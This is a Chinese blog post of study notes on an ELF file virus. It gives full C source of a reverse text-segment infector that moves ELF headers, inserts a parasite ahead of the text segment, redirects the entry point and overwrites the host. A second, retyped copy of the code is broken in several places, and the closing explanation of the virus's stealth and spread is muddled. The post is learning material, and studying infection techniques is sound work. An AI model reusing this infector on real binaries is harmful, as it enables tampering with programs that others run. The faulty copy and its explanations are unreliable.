本文参照源码均来自bitlackeys.org的这一源码
最近一直在看ELF文件病毒类的文章,对病毒技术相当感兴趣,所以就浅学了一下其中最简单的一个,比之前看的关于pt-note到pt_load的注射算法的病毒类型还是要简单不少。
下面切入正题:
先放文中源码,代码中注释都是我所理解的解释:
c#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> //提供了一些POSIX操作系统相关的函数和常量,包括文件和目录操作、进程控制等。例如,open、close和read等函数。lseek
#include <sys/types.h> //定义了一些系统相关的数据类型,例如size_t、pid_t等
#include <sys/stat.h> //包含了文件状态信息的相关定义,如文件的权限、大小、修改时间等。用于stat、fstat等函数。
#include <fcntl.h> //包含了文件控制相关的常量和函数声明,用于文件操作,例如open时指定的文件访问标志。
#include <elf.h> //这是一个特殊的头文件,用于处理ELF(可执行和可链接格式)文件的相关信息。它包含了一些数据结构和常量,用于解析和操作ELF文件的头部、节(section)和程序头表(program header table)等信息。
#include <sys/mman.h> //包含了内存映射相关的函数和常量,用于将文件内容映射到内存中,实现对文件的高效访问。包括mmap函数。
#define PAGE_SIZE 4096 //定义“页”的大小 4KB
#define TMP "tmp.bin" //宏定义文件名为TMP
struct stat st; //存储文件信息结构
char *host; //存储主机文件名的字符串
unsigned long entry_point; //记录源文件入口点
int ehdr_size; //估计是ELF文件头的大小,有什么用?
/*
以下是一些可能包含在ELF文件头(ehdr)中的字段:
文件类型(e_type):指示文件的类型,例如可执行文件、共享库、可重定位文件等。
目标体系结构(e_machine):指示程序应在哪种体系结构上运行,如x86、ARM、PowerPC等。
文件版本(e_version):描述文件的版本信息。
入口点地址(e_entry):指示程序的入口点地址,即程序开始执行的地址。
文件头大小(e_ehsize):描述ELF文件头的大小。
程序头表偏移量(e_phoff):指示程序头表在文件中的偏移量。
节头表偏移量(e_shoff):指示节头表在文件中的偏移量。
*/
void mirror_binary_with_parasite(unsigned int, unsigned char *, char *); //插入可执行带代码,该函数声明告诉编译器函数的接口(参数类型和顺序),仅仅是申明,对于参数的定义在后面
int main(int argc, char **argv)
{
unsigned char *mem;
unsigned char *tp;
int fd, i, c;
char text_found;
mode_t mode;//mode_t无符号整数型,表示访问权限 //有用?
extern char parasite[];
/* bytes of parasite */
unsigned int parasite_size; //寄生虫大小
unsigned long int leap_offset;
unsigned long parasite_vaddr;
Elf64_Shdr *s_hdr; //节头表
Elf64_Ehdr *e_hdr; // ELF文件头
Elf64_Phdr *p_hdr; // 程序头表(段)
usage:
if (argc < 3) //这里要求必须从命令行读取到两个以上的参数,第一个是文件名,第二个是病毒代码大小
{
printf("Usage: %s <elf-host> <size-of-parasite>\n",argv[0]);
exit(-1);
}
parasite_size = atoi(argv[2]); //读取病毒大小
host = argv[1]; //文件名
printf("Length of parasite is %d bytes\n", parasite_size);
if ((fd = open(argv[1], O_RDONLY)) == -1) //打开文件
{
perror("open");
exit(-1);
}
if (fstat(fd, &st) < 0) // 检查文件是否调用成功,获取文件stat结构体数据(文件状态信息结构体)
{
perror("stat");
exit(-1);
} //
/*struct stat {
dev_t st_dev; // 文件所在设备ID
ino_t st_ino; // 结点(inode)编号
mode_t st_mode; // 保护模式
nlink_t st_nlink; // 硬链接个数
uid_t st_uid; // 所有者用户ID
gid_t st_gid; // 所有者组ID
dev_t st_rdev; // 设备ID(如果是特殊文件)
off_t st_size; // 总体尺寸,以字节为单位
blksize_t st_blksize; // 文件系统 I/O 块大小
blkcnt_t st_blocks; // 已分配 512B 块个数
time_t st_atime; // 上次访问时间
time_t st_mtime; // 上次更新时间
time_t st_ctime; // 上次状态更改时间
};
*/
mem = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE , fd, 0); //NULL表示让操作系统选择映射到内存的起始区域
// st.st_size 需要映射的文件的大小
// 设置mmap的内存的权限为可读可写
//私有映射,在映射区做的操作不会回写硬盘
//fd:文件描述符 0:从文件头部开始映射
if (mem == MAP_FAILED) //映射失败
{
perror("mmap");
exit(-1);
}
e_hdr = (Elf64_Ehdr *)mem; //强转ELF_EHDR结构体指针
if (e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF")) //检查是否为ELF文件
{
printf("%s it not an elf file\n", argv[1]);
exit(-1);
}
printf("Parasite size: %d\n", parasite_size);
text_found = 0; //用于标记是否找到代码段
unsigned int after_insertion_offset; //
ehdr_size = sizeof(*e_hdr); // ELF文件头大小
entry_point = e_hdr->e_entry; //入口点
p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff); // 程序表头文件偏移
p_hdr[0].p_offset += PAGE_SIZE; //为病毒腾出足够的空间
p_hdr[1].p_offset += PAGE_SIZE;
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) //循环遍历各个段
{
if (text_found)
p_hdr->p_offset += PAGE_SIZE; //找到txtx段腾出空间
if(p_hdr->p_type == PT_LOAD) //如果是PT_load节(大概率用的也是pt_note到pt_load的转换注射)
if (p_hdr->p_flags == (PF_R | PF_X))
{
p_hdr->p_vaddr -= PAGE_SIZE;
e_hdr->e_entry = p_hdr->p_vaddr;
p_hdr->p_paddr -= PAGE_SIZE;
p_hdr->p_filesz += PAGE_SIZE;
p_hdr->p_memsz += PAGE_SIZE;
text_found = 1;
}
}
/*typedef struct {program header 结构体
ELF32_Word p_type;
ELF32_Off p_offset;
ELF32_Addr p_vaddr;
ELF32_Addr p_paddr;
ELF32_Word p_filesz;
ELF32_Word p_memsz;
ELF32_Word p_flags;
ELF32_Word p_align;
} Elf32_Phdr;*/
e_hdr->e_entry += sizeof(*e_hdr); //文件入口点
s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);
for (i = e_hdr->e_shnum; i-- > 0; s_hdr++)
s_hdr->sh_offset += PAGE_SIZE;
e_hdr->e_shoff += PAGE_SIZE;// 节头表偏移
e_hdr->e_phoff += PAGE_SIZE; // 程序头表偏移 两个偏移分别增加一页为蠕虫体提供空间
printf("new entry: %lx\n", e_hdr->e_entry);
mirror_binary_with_parasite(parasite_size, mem, parasite);
done:
munmap(mem, st.st_size);
close(fd);
}
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite)
{
int ofd;
unsigned int c;
int i, t = 0;
/* eot is:
* end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;
* end_of_text += p_hdr->p_filesz;
*/
extern int return_entry_start; //外部变量声明
printf("Mirroring host binary with parasite %d bytes\n",psize);
if ((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
{
perror("tmp binary: open");
exit(-1);
}
if ((c = write(ofd, mem, ehdr_size)) != ehdr_size)//往镜像文件中写如原始文件的ELF header
{
printf("failed writing ehdr\n");
exit(-1);
}
printf("Patching parasite to jmp to %lx\n", entry_point);
*(unsigned int *)¶site[return_entry_start] = entry_point; //似乎是设置新的程序入口点
if ((c = write(ofd, parasite, psize)) != psize) // 往寄生虫地址写入病毒()判断大小是否一致来区分是否写入成功
{
perror("writing parasite failed");
exit(-1);
}
/*
1) 欲将读写位置移到文件开头时:
lseek(int fildes,0,SEEK_SET);
2) 欲将读写位置移到文件尾时:
lseek(int fildes,0,SEEK_END);
3) 想要取得目前文件位置时:
lseek(int fildes,0,SEEK_CUR)*/
if ((c = lseek(ofd, ehdr_size + PAGE_SIZE, SEEK_SET)) != ehdr_size + PAGE_SIZE) //将文件指针移动到距离文件开头位置ehdr_size + PAGE_SIZE位置处
{
printf("lseek only wrote %d bytes\n", c);
exit(-1);
}
mem += ehdr_size; //后移文件头大小的距离
if ((c = write(ofd, mem, st.st_size-ehdr_size)) != st.st_size-ehdr_size) //在后裔之后将文件剩余部分写入镜像当中
{
printf("Failed writing binary, wrote %d bytes\n", c);
exit(-1);
}
rename(TMP, host); //对镜像文件进行重命名为原始文件名以覆盖
close(ofd);//关闭文件
}
这一整个病毒的攻击流程都是主要运用的对于节头表,程序头表和ELF文件头的利用。
c#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <elf.h>
#include <sys/mman.h>
#define PAGE_SIZE 4096
#define TMP "tmp.bin"
struct stat st;//定义了st为一个stat结构体,存储文件的详细数据
char *host;
//变动
long entry_point;
int ehdr_size;
// void mirror_binary_with_virous(un
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem,char * parasite);
int main(int argc ,char **argv)
{
unsigned char *mem;//memory
unsigned char *tp;
int fd,i,c;
char flag;
//mode_t mode;
char parasite_size;
extern char parasite[];
// extern char parasite_size;这里似乎不用从外部引用
// unsigned long int leap_offset;
// unsigned long parasite_vaddar;
Elf64_Shdr *s_hdr;
Elf64_Ehdr *e_hdr;
Elf64_Phdr *p_hdr;//结构体首字母大小
usage:
if(argc < 3)
{
printf("argv's number more than 3!");
exit(-1);
}
parasite_size = atoi(argv[2]);//病毒大小,这一步意义何在?
host = argv[1];//文件名
if((fd = open (argv[1],O_RDONLY)) == -1)//只读方式打开文件。避免文件被破坏,方便后续创建镜像?
{
perror("open");
exit(-1);
}
if(fstat(fd,&st) < 0) //通过 fstat函数检查文件是否调用成功,
//并将文件信息填充到st结构体中,后一步不清楚是否用到了?有用,下面mmap用到了
{
perror("stst");
exit("-1");
}
mem = mmap(NULL,st.st_size,PROT_READ | PROT_WRITE, MAP_PRIVATE,fd,0);
//通过上面获取的结构体中的文件大小,利用mmap函数在重新映射一个相同大小的文件
//将mmap的内存设置为可读可写,并私有映射只允许当前进程访问这一块内存空间,并且不会影响原来的文件
//fd指定需要映射的文件
//从头开始映文件
//mem存储了mmap的起始地址
if (mem == MAP_FAILED)//映射失败
{
perror("stst");
exit("-1");
}
e_hdr = (Elf64_Ehdr *)mem;//可以这样吗?
if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr -> e_ident[1],"ELF"))
{
printf("%s it not an elf file\n", argv[1]);
exit(-1);
}
printf("Parasite size: %d\n", parasite_size);
flag = 0;
// unsigned int after_insert_offset;//不清楚是否有用
ehdr_size = sizeof(*e_hdr);//ELF文件头大小
entry_point = e_hdr -> e_entry;//通过读取ELF文件头来获取程序入口点
p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);//类似上面的强转类型,寻找到程序段的地址
p_hdr[0].p_offset += PAGE_SIZE;//
p_hdr[1].p_offset += PAGE_SIZE;//没理解
for (i = e_hdr->e_phnum; i-- >0; p_hdr++) //e_phnum给出了程序头表的段数
{
if (flag)
{
p_hdr->p_offset +=PAGE_SIZE;//将代码段后一个段向后移,腾出的空间作为代码段空间存放病毒
}
if (p_hdr->p_type == PT_LOAD){//pt_load可加载段一般认为是text或者数据段
if(p_hdr->p_type == (PF_R | PF_X))//通过权限位判断是否为代码段段(可读可执行)
{
p_hdr->p_vaddr -= PAGE_SIZE;//将该文本段向后移一个页面长度
e_hdr->e_entry = p_hdr->p_vaddr;//入口点重新设置为虚拟地址首地址
p_hdr->p_paddr -= PAGE_SIZE;//真实地址后移
p_hdr->p_filesz += PAGE_SIZE;//文件镜像大小
p_hdr->p_memsz += PAGE_SIZE;//内存镜像中的文件大小
flag = 1;//设置为一表示找到
}
}
}
e_hdr->e_entry += sizeof(*e_hdr);//未懂
s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);//节头表位置
for(i = e_hdr->e_shnum;i-- > 0; s_hdr ++)
{
s_hdr->sh_offset += PAGE_SIZE;
e_hdr->e_shoff += PAGE_SIZE;
e_hdr->e_phoff += PAGE_SIZE;
printf("new entry : %lx\n",e_hdr->e_entry);
mirror_binary_with_parasite(parasite_size,mem,parasite);
// done:
munmap(mem,st.st_size);//解除映射
close(fd);
}
}
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem,char * parasite)
{
int fd;
unsigned int c;
int i,t = 0;
extern int return_entry_start;
if ((fd = open(TMP,O_RDWR | O_CREAT | O_TRUNC, 0777)) == -1)
{
perror("open");
exit(-1);
}
if (write(fd,mem,ehdr_size) != ehdr_size)
{
perror("write");
exit(-1);
}
*(unsigned int *) ¶site[return_entry_start] = entry_point;
if((c = write(fd,parasite,psize)) != psize)
{
perror("write");
exit(-1);
}
if((c = lseek(fd,mem,ehdr_size)) != ehdr_size)
{
perror("lseek");
exit(-1);
}
mem +=ehdr_size;
if((c = write(fd,mem,st.st_size - ehdr_size)) != st.st_size - ehdr_size)
{
perror("write");
exit(-1);
}
rename(TMP,host);
close(fd);
}
该病毒的攻击先是只读打开文件将
cstruct stat {
dev_t st_dev; // 文件所在设备ID
ino_t st_ino; // 结点(inode)编号
mode_t st_mode; // 保护模式
nlink_t st_nlink; // 硬链接个数
uid_t st_uid; // 所有者用户ID
gid_t st_gid; // 所有者组ID
dev_t st_rdev; // 设备ID(如果是特殊文件)
off_t st_size; // 总体尺寸,以字节为单位
blksize_t st_blksize; // 文件系统 I/O 块大小
blkcnt_t st_blocks; // 已分配 512B 块个数
time_t st_atime; // 上次访问时间
time_t st_mtime; // 上次更新时间
time_t st_ctime; // 上次状态更改时间
};
这个结构体信息读取,再开辟一个新空间映射源新文件,这里可能会有疑问为什么要重新映射一个文件不能直接在源文件中更改,答案大概有以下几点:
- 病毒的稳定性和可维护性: 直接修改源文件可能会破坏原始程序的完整性,导致源程序无法正常工作。这不仅会增加被检测到的风险,还会导致病毒在目标计算机上无法稳定运行。通过映射文件,病毒构建者可以保持源文件的完整性,同时在不影响原程序的情况下添加恶意代码。
- 隐蔽性: 直接修改源文件可能会引起用户的怀疑。用户会注意到其文件的更改,这可能会触发警报或导致病毒被发现。通过映射文件,病毒可以更隐蔽地植入目标计算机,减少被发现的风险。
- 隔离和传播: 映射文件可以帮助病毒构建者更轻松地在多个文件和目录中传播恶意代码,而不仅限于一个源文件。这提供了更大的传播和感染机会。
- 病毒升级和更新: 使用映射文件,病毒构建者可以轻松地更新和升级病毒,而不必再次修改源文件。这使得维护和改进病毒变得更加容易。
然后通过对文件头,节头表和程序头表的读取,修改和重新映射,反向延长text段的大小,让parasite放在都出的text段中,使其直接拥有执行权限,这样只需要更改程序入口点来控只执行流,就可以实现病毒的攻击。
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!